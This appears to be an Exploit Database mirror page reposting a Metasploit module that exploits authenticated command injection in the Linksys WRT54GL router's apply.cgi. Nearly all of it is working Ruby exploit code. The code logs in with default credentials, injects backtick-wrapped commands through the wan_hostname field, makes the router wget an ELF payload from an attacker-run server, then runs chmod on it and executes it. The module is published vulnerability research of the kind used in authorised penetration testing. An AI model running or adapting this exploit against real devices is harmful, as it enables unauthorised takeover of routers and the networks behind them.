Linksys WRT54GL – ‘apply.cgi’ Command Execution (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2013-04-10
• 类别：

  • remote
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/24945/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking
  
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  
  def initialize(info = {})
  super(update_info(info,
  'Name'=> 'Linksys WRT54GL apply.cgi Command Execution',
  'Description' => %q{
  Some Linksys Routers are vulnerable to an authenticated OS command injection in
  the Web Interface. Default credentials are admin/admin or admin/password. Since it
  is a blind os command injection vulnerability, there is no output for the executed
  command when using the cmd generic payload. A ping command against a controlled
  system could be used for testing purposes. The user must be prudent when using this
  module since it modifies the router configuration while exploitation, even when it
  tries to restore previous values.
  },
  'Author'=>
  [
  'Michael Messner <devnull@s3cur1ty.de>', # Vulnerability discovery and Metasploit module
  'juan vazquez' # minor help with msf module
  ],
  'License' => MSF_LICENSE,
  'References'=>
  [
  [ 'OSVDB', '89912' ],
  [ 'BID', '57459' ],
  [ 'EDB', '24202' ],
  [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ]
  ],
  'DisclosureDate' => 'Jan 18 2013',
  'Privileged' => true,
  'Platform' => ['linux','unix'],
  'Payload'=>
  {
  'DisableNops' => true
  },
  'Targets'=>
  [
  [ 'CMD',
  {
  'Arch' => ARCH_CMD,
  'Platform' => 'unix'
  }
  ],
  [ 'Linux mipsel Payload',
  {
  'Arch' => ARCH_MIPSLE,
  'Platform' => 'linux'
  }
  ],
  ],
  'DefaultTarget'=> 1,
  ))
  
  register_options(
  [
  OptString.new('USERNAME', [ true, 'The username to authenticate as', 'admin' ]),
  OptString.new('PASSWORD', [ true, 'The password for the specified username', 'admin' ]),
  OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
  OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
  OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]),
  OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ])
  ], self.class)
  end
  
  
  def get_config(config, pattern)
  if config =~ /#{pattern}/
  return $1
  end
  return ""
  end
  
  def grab_config(user,pass)
  print_status("#{rhost}:#{rport} - Trying to download the original configuration")
  begin
  res = send_request_cgi({
  'uri' => '/index.asp',
  'method'=> 'GET',
  'authorization' => basic_auth(user,pass)
  })
  if res.nil? or res.code == 404
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  if [200, 301, 302].include?(res.code)
  if res.body =~ /lan_ipaddr_0/
  print_good("#{rhost}:#{rport} - Successful downloaded the configuration")
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - Download of the original configuration not possible")
  end
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end
  
  #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested!
  @now_proto_orig = get_config(res.body, "<input\ type=hidden\ name=now_proto\ value=\'(.*)\'>")
  if @now_proto_orig !~ /dhcp/
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
  end
  @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;")
  if @wan_proto_orig !~ /dhcp/
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device")
  end
  @lan_proto_orig = get_config(res.body, "<input\ type=\"radio\"\ name=\"lan_proto\"\ value=\"(.*)\"\ checked\ onClick=\"SelDHCP")
  @daylight_time_orig = get_config(res.body, "<input\ type=hidden\ name=daylight_time\ value=(.*)>")
  @lan_ipaddr_orig = get_config(res.body, "<input\ type=hidden\ name=\"lan_ipaddr\"\ value=(.*)>")
  @wait_time_orig = get_config(res.body, "<input\ type=hidden\ name=\"wait_time\"\ value=(.*)>")
  @need_reboot_orig = get_config(res.body, "<input\ type=hidden\ name=\"need_reboot\"\ value=(.*)>")
  @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>")
  @lan_ipaddr_1_orig = get_config(res.body, "\<INPUT\ class=num\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_1\">")
  @lan_ipaddr_2_orig = get_config(res.body, "\<INPUT\ class=num maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_2\">")
  @lan_ipaddr_3_orig = get_config(res.body, "<INPUT class=num maxLength=3\ onBlur=\"valid_range\\(this,1,254,'IP'\\)\;Sel_SubMask\\(this.form.lan_netmask,this.form\\);\"\ size=3" <<
  "\ value='(.*)'\ name=\"lan_ipaddr_3\"><\/TD>")
  @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>")
  @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>")
  @wan_hostname_orig = get_config(res.body, "<INPUT\ maxLength=39\ name=\"wan_hostname\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Host%20Name\"\\)><\/FONT><\/TD>")
  @wan_mtu_orig = get_config(res.body, "<INPUT\ class=num\ maxLength=4\ onBlur=valid_mtu\\(this\\)\ size=5\ value='(.*)'\ name=\"wan_mtu\"><\/TD>")
  if @wan_mtu_orig.to_i > 1500
  @mtu_enable = "0"
  end
  @ui_language_orig = get_config(res.body, "<SCRIPT\ language=\"Javascript\"\ type=\"text\/javascript\" src=\"(.*)_lang_pack\/capsec.js\"><\/SCRIPT>")
  @dhcp_lease_orig = get_config(res.body, "<INPUT\ maxLength=4\ onBlur=valid_range\\(this\,0\,9999\,\"DHCP%20Lease%20Time\"\\)\ size=4\ value=\'(.*)\'\ name=\"dhcp_lease\"\ class=num")
  @dhcp_num_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,1\,253\,\"Number%20of%20DHCP%20users\"\\)\;Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)" <<
  "\ size=3\ value=\'(.*)\'\ name=\"dhcp_num\"\ class=num><\/TD>")
  @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " <<
  "onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">")
  @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>")
  @wan_dns_orig = get_config(res.body, "<input\ type=hidden\ name=wan_dns\ value=(.*)><INPUT\ maxLength=3")
  @wan_dns0_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_0\"\ class=num\>")
  @wan_dns0_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns0_1\"\ class=num\>")
  @wan_dns0_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_2\"\ class=num\>")
  @wan_dns0_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns0_3\"\ class=num\>")
  @wan_dns1_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_0\"\ class=num\>")
  @wan_dns1_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns1_1\"\ class=num\>")
  @wan_dns1_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_2\"\ class=num\>")
  @wan_dns1_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns1_3\"\ class=num\>")
  @wan_dns2_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_0\"\ class=num\>")
  @wan_dns2_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\' name=\"wan_dns2_1\"\ class=num\>")
  @wan_dns2_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_2\"\ class=num\>")
  @wan_dns2_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"DNS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_dns2_3\"\ class=num\>")
  @wan_wins_orig = get_config(res.body, "<input\ type=hidden\ name=wan_wins\ value=(.*)><INPUT\ maxLength=3")
  @wan_wins_0_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,223\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_0\"\ class=num>")
  @wan_wins_1_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_1\"\ class=num>")
  @wan_wins_2_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,255\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_2\"\ class=num>")
  @wan_wins_3_orig = get_config(res.body, "<INPUT\ maxLength=3\ onBlur=valid_range\\(this\,0\,254\,\"WINS\"\\)\ size=3\ value=\'(.*)\'\ name=\"wan_wins_3\"\ class=num>")
  end
  
  def restore_conf(user,pass,uri)
  # we have used most parts of the original configuration
  # just need to restore wan_hostname
  cmd = @wan_hostname_orig.to_s
  print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration")
  
  res = request(cmd,user,pass,uri)
  
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration")
  end
  
  #the device needs around 10 seconds to apply our current configuration
  print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
  select(nil, nil, nil, @timeout)
  end
  
  def request(cmd,user,pass,uri)
  begin
  res = send_request_cgi({
  'uri'=> uri,
  'method' => 'POST',
  'authorization' => basic_auth(user,pass),
  'encode_params' => false,
  'vars_post' => {
  'submit_button' => "index",
  'change_action' => "1",
  'submit_type' => "1",
  'action' => "Apply",
  'now_proto' => @now_proto_orig.to_s,
  'daylight_time' => @daylight_time_orig.to_s,
  'lan_ipaddr' => @lan_ipaddr_orig.to_s,
  'wait_time' => @wait_time_orig.to_s,
  'need_reboot' => @need_reboot_orig.to_s,
  'ui_language' => @ui_language_orig,
  'wan_proto' => @wan_proto_orig.to_s,
  'router_name' => @router_name_orig.to_s,
  'wan_hostname' => cmd,
  'wan_domain' => @wan_domain_orig.to_s,
  'mtu_enable' => @mtu_enable.to_s,
  'wan_mtu' => @wan_mtu_orig.to_s,
  'lan_ipaddr_0' => @lan_ipaddr_0_orig.to_s,
  'lan_ipaddr_1' => @lan_ipaddr_1_orig.to_s,
  'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s,
  'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s,
  'lan_netmask' => "255.255.255.#{@netmask_orig}",
  'lan_proto' => @lan_proto_orig.to_s,
  'dhcp_check' => "1",
  'dhcp_start' => @dhcp_start_orig.to_s,
  'dhcp_num' => @dhcp_num_orig.to_s,
  'dhcp_lease' => @dhcp_lease_orig.to_s,
  'wan_dns' => @wan_dns_orig.to_s,
  'wan_dns0_0' => @wan_dns0_0_orig.to_s,
  'wan_dns0_1' => @wan_dns0_1_orig.to_s,
  'wan_dns0_2' => @wan_dns0_2_orig.to_s,
  'wan_dns0_3' => @wan_dns0_3_orig.to_s,
  'wan_dns1_0' => @wan_dns1_0_orig.to_s,
  'wan_dns1_1' => @wan_dns1_1_orig.to_s,
  'wan_dns1_2' => @wan_dns1_2_orig.to_s,
  'wan_dns1_3' => @wan_dns1_3_orig.to_s,
  'wan_dns2_0' => @wan_dns2_0_orig.to_s,
  'wan_dns2_1' => @wan_dns2_1_orig.to_s,
  'wan_dns2_2' => @wan_dns2_2_orig.to_s,
  'wan_dns2_3' => @wan_dns2_3_orig.to_s,
  'wan_wins' => @wan_wins_orig.to_s,
  'wan_wins_0' => @wan_wins_0_orig.to_s,
  'wan_wins_1' => @wan_wins_1_orig.to_s,
  'wan_wins_2' => @wan_wins_2_orig.to_s,
  'wan_wins_3' => @wan_wins_3_orig.to_s,
  'time_zone' => "-08+1+1",#default is ok
  '_daylight_time' => '1'#default is ok
  }
  })
  return res
  rescue ::Rex::ConnectionError
  vprint_error("#{rhost} - Failed to connect to the web server")
  return nil
  end
  
  end
  
  def exploit
  downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
  uri = '/apply.cgi'
  user = datastore['USERNAME']
  pass = datastore['PASSWORD']
  rhost = datastore['RHOST']
  rport = datastore['RPORT']
  restore = datastore['RESTORE_CONF']
  @timeout = 10
  
  #
  # testing Login
  #
  print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
  begin
  res = send_request_cgi({
  'uri' => uri,
  'method'=> 'GET',
  'authorization' => basic_auth(user,pass)
  })
  if res.nil? or res.code == 404
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  if [200, 301, 302].include?(res.code)
  print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
  else
  fail_with(Exploit::Failure::NoAccess, "#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
  end
  rescue ::Rex::ConnectionError
  fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server")
  end
  
  
  grab_config(user,pass)
  
  if target.name =~ /CMD/
  if not (datastore['CMD'])
  fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible")
  end
  cmd = payload.encoded
  cmd = "`#{cmd}`"
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload")
  else
  print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
  end
  print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
  select(nil, nil, nil, @timeout)
  restore_conf(user,pass,uri) if restore
  return
  end
  
  #thx to Juan for his awesome work on the mipsel elf support
  @pl = generate_payload_exe
  @elf_sent = false
  
  #
  # start our server
  #
  resource_uri = '/' + downfile
  
  if (datastore['DOWNHOST'])
  service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
  else
  #do not use SSL
  if datastore['SSL']
  ssl_restore = true
  datastore['SSL'] = false
  end
  
  #we use SRVHOST as download IP for the coming wget command.
  #SRVHOST needs a real IP address of our download host
  if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
  srv_host = Rex::Socket.source_address(rhost)
  else
  srv_host = datastore['SRVHOST']
  end
  
  service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
  print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
  'Proc' => Proc.new { |cli, req|
  on_request_uri(cli, req)
  },
  'Path' => resource_uri
  }})
  
  datastore['SSL'] = true if ssl_restore
  end
  
  #
  # download payload
  #
  print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
  #this filename is used to store the payload on the device
  filename = rand_text_alpha_lower(8)
  
  #not working if we send all command together -> lets take three requests
  cmd = "/usr/bin/wget #{service_url} -O /tmp/#{filename}"
  cmd = "`#{cmd}`"
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
  end
  
  # wait for payload download
  if (datastore['DOWNHOST'])
  #waiting some time so we could be sure that the device got the payload from our third party server
  print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload")
  select(nil, nil, nil, datastore['HTTP_DELAY'])
  else
  wait_linux_payload
  end
  register_file_for_cleanup("/tmp/#{filename}")
  
  #
  # chmod
  #
  cmd = "chmod 777 /tmp/#{filename}"
  cmd = "`#{cmd}`"
  print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
  end
  print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
  select(nil, nil, nil, @timeout)
  
  #
  # execute
  #
  cmd = "/tmp/#{filename}"
  cmd = "`#{cmd}`"
  print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
  res = request(cmd,user,pass,uri)
  if (!res)
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
  end
  print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration")
  select(nil, nil, nil, @timeout)
  
  #
  #reload original configuration
  #
  if restore
  restore_conf(user,pass,uri)
  end
  end
  
  # Handle incoming requests from the server
  def on_request_uri(cli, request)
  #print_status("on_request_uri called: #{request.inspect}")
  if (not @pl)
  print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
  return
  end
  print_status("#{rhost}:#{rport} - Sending the payload to the server...")
  @elf_sent = true
  send_response(cli, @pl)
  end
  
  # wait for the data to be sent
  def wait_linux_payload
  print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
  
  waited = 0
  while (not @elf_sent)
  select(nil, nil, nil, 1)
  waited += 1
  if (waited > datastore['HTTP_DELAY'])
  fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
  end
  end
  end
  
  end